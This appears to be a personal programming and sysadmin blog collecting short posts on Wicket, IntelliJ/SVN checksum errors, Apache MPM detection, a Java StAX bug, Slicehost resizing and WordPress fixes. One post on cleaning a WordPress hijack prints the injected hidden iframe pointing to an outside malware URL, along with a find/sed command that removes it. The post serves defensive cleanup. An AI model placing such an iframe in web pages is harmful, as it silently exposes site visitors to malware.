kallasoft

kallasoft.com is a programming/linux/tech blog with tips and tricks that programmers and server admins might find handy as well as the home for some of my open source projects. The most notable being:

• SmugMug Java API
• SmugMug Downloader

Apace Wicket Quick Tip

If you are working with multiple AjaxEventBehavior’s (like AjaxFormSubmitBehavior and AjaxFormValidatingBehavior) on similar components in a Page and you are using IHeaderResponse.renderJavaScript(CharSequence) it’s possible you are contributing duplicate JavaScript over and over again to the header section of your Page unecessarily.

As it turns out, by simply changing to use the IHeaderResponse.renderJavaScript(CharSequence,String) method (providing a String ID for your JavaScript code), the default implementation of IHeaderResponse in Wicket will ignore duplicates automatically for you, keeping your pages more trim.

I already blogged about running into problems with IntelliJ 9’s SVN operations once before, and here I am again, unable to check a goddamn thing into my repository because it’s done it again “Checksum mismatch while updating…”

Previous to this error I tried to commit 10 changed files that had a refactored common method in them (they had JUST been checked in 1 hour before). The commit operation failed for no reason explaining that a merge operation had failed… there should have been nothing to merge especially during a commit operation and now my workspace is hosed.

My previous solution of manually removing the files and loosing history won’t work because there are quite a few files I need to check in and I can’t keep loosing history like this just to get IntelliJ to work.

God in heaven am I frustrated right now. I’m going to look into falling back to Tortoise SVN for the time being just so I can keep working.

I can’t reiterate this enough – How can local changes to a file cause a commit operation to fail, this is the entire point of source control.

ARGH!

Update #1: An hour later with Tortoise SVN and I’ve gotten my working copy restored. This tip is the only one that worked for me. I read a few that talked about copying just the entries file or manually editing the .svn files — NONE of those worked for me. The only thing that worked was to take my broken dir, move it off somewhere, and drop-in the same dir from some other checkout that was working.

Once I confirmed that dir worked (SVN Update/Commit make sure no changes were showing) then dropping the changed source files only from my broken dir back onto the working one and committing those changes. Make sure you don’t re-copy the .svn folder.

Overall this strategy completely falls apart if you have a lot of changes to your workspace as you’d have to hand-copy/move each dir and this solution doesn’t scale at all.

I’ve used SVN for 2 years with Eclipse and the Subclipse plugin — never seen this problem — give me 1 month with IntelliJ 9.0.1 and I’ve seen it twice now.

I think for now to not even run the risk I’m going to manage source control using Tortoise SVN, which annoys me almost as much as the problem occurring in the first place since I’m loosing a lot of the value of an IDE with that.

ARGH x 2!

Thanks to Eugene Ostroukhov for this awesome link to Geek and Poke web comic for geeks:

We’ve been tweaking with the gzip compression on the web server that hosts kallasoft.com, breakitdownblog.com and upmyownass.com and I kept having to dig for online tools to quickly and easily test if the compression was working and by how much. (We’ve been adjusting the DeflateCompressionLevel argument to find a good balance between compressed page content and server CPU load during high traffic spikes).

As it turns out the already excellent “What’s my IP Address?” online tool provides an HTTP Compression Test Tool that we thought other folks might want to bookmark for later use – enjoy!

For about the last week I’ve been trying to tweak the performance of a particular Apache server with varying degrees of success and failure. The biggest frustration is that I haven’t been able to find a way to determine which MPM mode Apache was running in: Prefork or Worker. Without that information I couldn’t tell if I needed to edit the <IfModule prefork.c> or <IfModule worker.c>sections of my httpd.conf file.

Today, I finally found the answer (thanks to user ‘andol‘ at StackOverflow!) and in the interest in spreading the data around and making sure it’s more accessible, here is how to tell which mode Apache is running in: Prefork or Worker.

PROBLEM

The main issue with finding this information is that the MPM (prefork or worker) is compiled into the Apache binary and not loaded as a module, so it’s not as simple as looking at the LoadModule list in your Apache config. You actually have to ask the Apache binary (/usr/sbin/httpd on my CentOS 5.3 machine) which modules it has compiled in to find out what you are running.

TIP: You can easily find the name of your Apache binary by cat‘ing your /etc/init.d/httpd script and checking the top of it for the httpd argument, for example, this was about 30 lines down in my script (highlight added):

# Path to the apachectl script, server binary, and short-form for messages.
apachectl=/usr/sbin/apachectl
httpd=${HTTPD-/usr/sbin/httpd}
prog=httpd
pidfile=${PIDFILE-/var/run/httpd.pid}
lockfile=${LOCKFILE-/var/lock/subsys/httpd}
RETVAL=0

SOLUTION

You need to pass the “-l” argument to the Apache binary to have it list off the compiled in modules. When I do that on my CentOS 5.3 machine, I get the following (highlight added):

[root@localhost ~]# /usr/sbin/httpd -l

Compiled in modules:
core.c
prefork.c
http_core.c
mod_so.c

You can see above that I’m running in Prefork mode because I have the Prefork module compiled in. That means I want to edit the values I find under the <IfModule prefork.c> of my httpd.conf file.

From where I’m standing SVN seems to bring with it a lot of the issues that CVS had with regards to “too much” changing on your local disk and then that getting you into trouble when you went to check it into the repo.

I never figured out why exactly CVS would frequently balk at this type of work, especially once you introduced file renames and refactoring, but I thought one of the big benefits of SVN was that it fixed that… you know, CVS but better. Suffice it to say, that’s not what I’m experiencing so far with a few years of SVN. It’s just as stupid as CVS in the areas that count — namely the areas that cost you at least an hour to troubleshoot when they go south.

It was late last night, I was sitting in IntelliJ 9 getting ready to check in 10 new files and 4 changed ones. I selected “Version Control” and “Commit Changes…” before heading to bed:

IntelliJ ground for a while before barfing with an error and coming back with “Commit failed <FILENAME> already exists.” – which was odd because it was complaining about one of the files I had made changes to and was trying to check back in… of course it existed.

I ignored the failure and continued to work before trying again to check my changes in, at which point I received the damnable:

svn: Checksum mismatch for '.svn/text-base/AbstractFeedParser.java.svn-base';
expected: 'f8d45250f7df5561635854165862fdd8',
actual: '644f85c4befa671150c5c6ec5fad9885'

After 20 mins of Clean, Update and Commit attempts, I finally gave up. I had no idea what was wrong, so I started googling.

The first post (and second and fifth) I ran across said the trick was to check the entire project out again into a separate directory and copy the .svn/text-base contents from the working copy on top of the corrupted copies I had in my repository.

That didn’t work.

The third post I found made a bit more sense, it said the problem was that the .svn/entries file contained a bogus checksum for that particular file, and I had to manually edit the .svn/entries file to put the right checksum in so the check would past.

So I popped open the .svn/entries file, found the line that contained the checksum for my AbstractFeedParser file and changed it to the “actual” value that SVN was reporting above. Then I tried the Update and Commit operations again, which were now failing with a different checksum error. I tried this for a few more minutes and cycles before realizing this wasn’t going to work at all.

So that didn’t work either.

The only way I got this god-forsaken SVN operations to work again was to use the SVN Repository Browser inside of IntelliJ to find the file that it was bitching about, actually Delete it from the repo, and check it back in.

I don’t know if this is “right”, and I think I’ve lost the history on that file now (which isn’t too important) but if you are like me, scouring the web looking for a solution and none of the “Replace the .svn directory contents” tips are working for you, this is what worked for me.

For the life of me I can’t figure out why this issue exists in the first place. SVN is suppose to be aware of two files:

• My local copy of the file
• The repository copy of the file

And when you do an update or commit it figures out the difference between the two and does the right thing. Why is it checksum’ing local copies of my files for a 3rd layer of validation? What value does that serve besides introducing another potential point of failure as seen here? It should give a flip what I do with my local file until I go to check it in and why would it “expect” any particular checksum for my local file?

I’ve never wanted to try Git so much in my life…

I’m documenting this issue (and fix) here for anyone else Googling for an answer. I just did for about an hour and found no answer, but instead stumbled across the solution.

If you are using anything from the javax.xml.stream packages in Java 6 or later, you are using the Sun Java Streaming XML Parser (SJSXP) implementation of JSR-173 (StAX XML parsing API). There are many other implementations of StAX parsers out there (Javolution provides one, Woodstox and Aalto are a few of the most popular).

Unfortunately for me (or you if you found this story via Google) in JDK 1.6.0_17 and below, the version of SJSXP that ships with the JDK’s before version 1.6.0_18 had a bug (Bug #6840792) in the XMLStreamReader.getAttributeValue(String namespaceURI, String localName) method implementation that caused the method to return null values when no namespaceURI is given (which is a valid use-case).

The purpose of that method is to retrieve the value of a given attribute, identifying it by at least it’s localName and at most it’s localName and a namespaceURI if you have one or want to use one. If you choose not to provide a namespaceURI, then the name comparison to identify which attribute value you are asking for is suppose to only consider the localName, unfortunately the bug in SJSXP caused this rule to be ignored so no value for the attribute could be retrieved unless BOTH the namespaceURI and localName was provided.

Fortunately I headed over to the SJSXP website and saw that the most recent 1.0.2 patch release (changelog) was made and rolled into the JDK 1.6.0_18 release.

I also confirmed the fix in some code that was breaking on me and returning null values for the attributes just now.

Thanks to the SJSXP team for fixing this!

One of the member sites of The Buzz Media ran a story this morning that caused the load on the host server to go pas ‘11′… waaaay way past ‘11′ – to 257.89 to be exact according to ‘top’ (above).

This host server was not in a load-balanced configuration when the rush happened, we weren’t able to simply add more WWW servers into the rotation to lessen the load, we just had to sit there and see our site die.

The Buzz Media has recently moved member sites to Slicehost’s hosting services, with us liking it quite a bit so far.

One of the most compelling reasons we went with Slicehost was the real-time, non-destructive ‘resize’ functionality that Slicehost provides administrators:

Fortunately when the shit hit the proverbial fan we were able to get out from under crushing server load by calling a ‘resize’ on that particular server and ramping it up temporarily for 8 hours until the server load fell back to normal amounts.

At that point we ‘resized’ it again back down to it’s original slice-size and all we were charged was a pro-rated amount for the slice differential for the amount of time that it was used.

Brilliant actually… much easier than EC2 and gave us much-faster relief with almost no knuckle-busting work from our end without setting up a load-balanced farm for that particular site.

NOTE: I am posting this information here because I just spent 20 mins Googling for the types of phrases in the title and never got a direct answer and hope anyone else that isn’t a PHP/WordPress guru that needs help with this can find it with this post.

I migrated my WordPress sites to a new server recently and noticed when I was using the Image Upload feature for a story, to upload an imagine into my Media Library, during the “Crunching…” phase of the upload, WordPress wasn’t resizing my images at all.

I had run into this problem 1 before years ago on my old host and fixed it — and forgot what the fix was.

Turns out, you need the PHP “GD” module installed. This is the graphics library that WordPress uses to resize the images. From RedHat, Fedora or CentOS installing this is as simple as:

yum install php-gd

I’m sure Debian/Ubuntu has some equally easy command line using apt-get to install that package as well. Once done don’t forget to run:

/etc/init.d/httpd restart

so Apache can reload the new modules. Then you should be all set.

It seems that a new WordPress malware hijack is making the rounds and we got hit. Google just issued me a “this site contains malware” warning for my sites, after some quick investigation it looks like the hijack has attached a malicious <iframe> block to the end of every HTML and PHP page in the site, so now I need to clean it out.

Luckily this is just like last time, and was easy to get rid of. I hope this tip helps someone else out as well.

This time, the iframe snippet that was getting added was:

<iframe src="http://reycross.com/laso/s.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

Luckily, I had my old script laying around that systematically searches through all my files and removed the offending piece of crap from the files, you can use this script command as well to do the same:

find . -name '*.*' -exec sed -i 's/<iframe src="http:\/\/reycross.com\/laso\/s.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//g' {} \;

Hope this helps anybody else getting sacked by this attack. I think it has to do with a theme vulnerability

It looks like on Mac the Java Web Start JNLP file used to launch the SmugMug Downloader had an invalid reference to itself and was failing to load — it seems on Windows this was working anyway.